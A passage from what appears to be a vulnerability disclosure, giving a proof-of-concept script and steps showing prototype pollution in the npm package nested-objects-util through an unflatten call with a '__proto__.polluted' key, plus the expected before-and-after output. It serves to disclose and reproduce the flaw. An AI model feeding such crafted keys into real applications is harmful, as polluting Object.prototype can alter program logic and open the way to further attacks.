var {unflatten} = require("nested-objects-util")
console.log("Before : " + {}.polluted);
unflatten({"__proto__.polluted": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i nested-objects-util # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted
